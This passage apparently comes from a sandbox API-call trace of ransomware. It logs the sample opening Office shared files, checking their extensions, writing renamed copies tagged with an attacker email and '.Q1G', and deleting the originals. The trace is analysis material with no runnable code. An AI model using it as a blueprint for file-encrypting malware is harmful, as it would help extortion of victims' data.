Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.195] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=8723) returned 1 [0042.196] CloseHandle (hObject=0x19c) returned 1 [0042.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0042.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.196] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.196] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.196] GetLastError () returned 0x0 [0042.196] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x2213, lpOverlapped=0x0) returned 1 [0042.451] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0042.452] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.452] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.452] SetEndOfFile (hFile=0x1fc) returned 1 [0042.452] CloseHandle (hObject=0x1fc) returned 1 [0042.453] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.453] SetEndOfFile (hFile=0x19c) returned 1 [0042.454] CloseHandle (hObject=0x19c) returned 1 [0042.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.454] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString=".doc") returned 4 [0042.455] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString=".docx") returned 5 [0042.455] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0042.455] lstrlenW (lpString=".pdf") returned 4 [0042.455] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString=".xls") returned 4 [0042.455] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString=".xlsx") returned 5 [0042.455] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0042.455] lstrlenW (lpString=".ppt") returned 4 [0042.455] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString=".zip") returned 4 [0042.455] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.455] lstrlenW (lpString=".rar") returned 4 [0042.455] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString=".bz2") returned 4 [0042.455] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString=".7z") returned 3 [0042.455] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString=".dbf") returned 4 [0042.455] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString=".1cd") returned 4 [0042.455] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.455] lstrlenW (lpString=".jpg") returned 4 [0042.455] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString=".doc") returned 4 [0042.456] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString=".docx") returned 5 [0042.456] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0042.456] lstrlenW (lpString=".pdf") returned 4 [0042.456] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString=".xls") returned 4 [0042.456] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString=".xlsx") returned 5 [0042.456] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0042.456] lstrlenW (lpString=".ppt") returned 4 [0042.456] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString=".zip") returned 4 [0042.456] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.456] lstrlenW (lpString=".rar") returned 4 [0042.456] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString=".bz2") returned 4 [0042.456] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString=".7z") returned 3 [0042.456] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString=".dbf") returned 4 [0042.456] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString=".1cd") returned 4 [0042.456] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0042.456] lstrlenW (lpString=".jpg") returned 4 [0042.456] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.457] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0042.457] lstrlenW (lpString="TIME.XML") returned 8 [0042.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.457] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=8564) returned 1 [0042.457] CloseHandle (hObject=0x19c) returned 1 [0042.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0042.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.457] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.457] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.458] GetLastError () returned 0x0 [0042.458] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x2174, lpOverlapped=0x0) returned 1 [0042.630] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0042.631] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.632] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0042.632] SetEndOfFile (hFile=0x1fc) returned 1 [0042.632] CloseHandle (hObject=0x1fc) returned 1 [0042.633] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.633] SetEndOfFile (hFile=0x19c) returned 1 [0042.634] CloseHandle (hObject=0x19c) returned 1 [0042.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.634] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0042.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.634] lstrlenW (lpString=".doc") returned 4 [0042.634] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.634] lstrlenW (lpString=".docx") returned 5 [0042.634] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0042.634] lstrlenW (lpString=".pdf") returned 4 [0042.634] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.634] lstrlenW (lpString=".xls") returned 4 [0042.634] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.634] lstrlenW (lpString=".xlsx") returned 5 [0042.635] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0042.635] lstrlenW (lpString=".ppt") returned 4 [0042.635] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString=".zip") returned 4 [0042.635] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.635] lstrlenW (lpString=".rar") returned 4 [0042.635] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".bz2") returned 4 [0042.635] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".7z") returned 3 [0042.635] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString=".dbf") returned 4 [0042.635] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString=".1cd") returned 4 [0042.635] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString=".jpg") returned 4 [0042.635] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.635] lstrlenW (lpString=".doc") returned 4 [0042.635] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".docx") returned 5 [0042.635] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0042.635] lstrlenW (lpString=".pdf") returned 4 [0042.635] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".xls") returned 4 [0042.635] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".xlsx") returned 5 [0042.635] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0042.635] lstrlenW (lpString=".ppt") returned 4 [0042.636] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.636] lstrlenW (lpString=".zip") returned 4 [0042.636] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.636] lstrlenW (lpString=".rar") returned 4 [0042.636] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString=".bz2") returned 4 [0042.636] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString=".7z") returned 3 [0042.636] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.636] lstrlenW (lpString=".dbf") returned 4 [0042.636] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.636] lstrlenW (lpString=".1cd") returned 4 [0042.636] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0042.636] lstrlenW (lpString=".jpg") returned 4 [0042.636] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.636] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0042.636] lstrlenW (lpString="Bears.htm") returned 9 [0042.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.102] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=255) returned 1 [0043.102] CloseHandle (hObject=0x1c8) returned 1 [0043.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0043.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.103] lstrlenW (lpString=".doc") returned 4 [0043.103] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.103] lstrlenW (lpString=".docx") returned 5 [0043.103] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0043.103] lstrlenW (lpString=".pdf") returned 4 [0043.103] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.103] lstrlenW (lpString=".xls") returned 4 [0043.103] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.103] lstrlenW (lpString=".xlsx") returned 5 [0043.103] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0043.103] lstrlenW (lpString=".ppt") returned 4 [0043.103] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.103] lstrlenW (lpString=".zip") returned 4 [0043.103] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.103] lstrlenW (lpString=".rar") returned 4 [0043.103] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.103] lstrlenW (lpString=".bz2") returned 4 [0043.103] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.103] lstrlenW (lpString=".7z") returned 3 [0043.103] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.103] lstrlenW (lpString=".dbf") returned 4 [0043.103] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.103] lstrlenW (lpString=".1cd") returned 4 [0043.103] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".jpg") returned 4 [0043.104] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".doc") returned 4 [0043.104] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.104] lstrlenW (lpString=".docx") returned 5 [0043.104] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0043.104] lstrlenW (lpString=".pdf") returned 4 [0043.104] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString=".xls") returned 4 [0043.104] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString=".xlsx") returned 5 [0043.104] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0043.104] lstrlenW (lpString=".ppt") returned 4 [0043.104] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".zip") returned 4 [0043.104] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString=".rar") returned 4 [0043.104] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.104] lstrlenW (lpString=".bz2") returned 4 [0043.104] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.104] lstrlenW (lpString=".7z") returned 3 [0043.104] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".dbf") returned 4 [0043.104] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".1cd") returned 4 [0043.104] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0043.104] lstrlenW (lpString=".jpg") returned 4 [0043.105] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.105] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0043.105] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0043.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.105] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4587) returned 1 [0043.105] CloseHandle (hObject=0x1c8) returned 1 [0043.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0043.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.105] lstrlenW (lpString=".doc") returned 4 [0043.105] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.105] lstrlenW (lpString=".docx") returned 5 [0043.105] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0043.105] lstrlenW (lpString=".pdf") returned 4 [0043.105] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.105] lstrlenW (lpString=".xls") returned 4 [0043.105] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.105] lstrlenW (lpString=".xlsx") returned 5 [0043.106] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0043.106] lstrlenW (lpString=".ppt") returned 4 [0043.106] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".zip") returned 4 [0043.106] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString=".rar") returned 4 [0043.106] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString=".bz2") returned 4 [0043.106] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.106] lstrlenW (lpString=".7z") returned 3 [0043.106] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 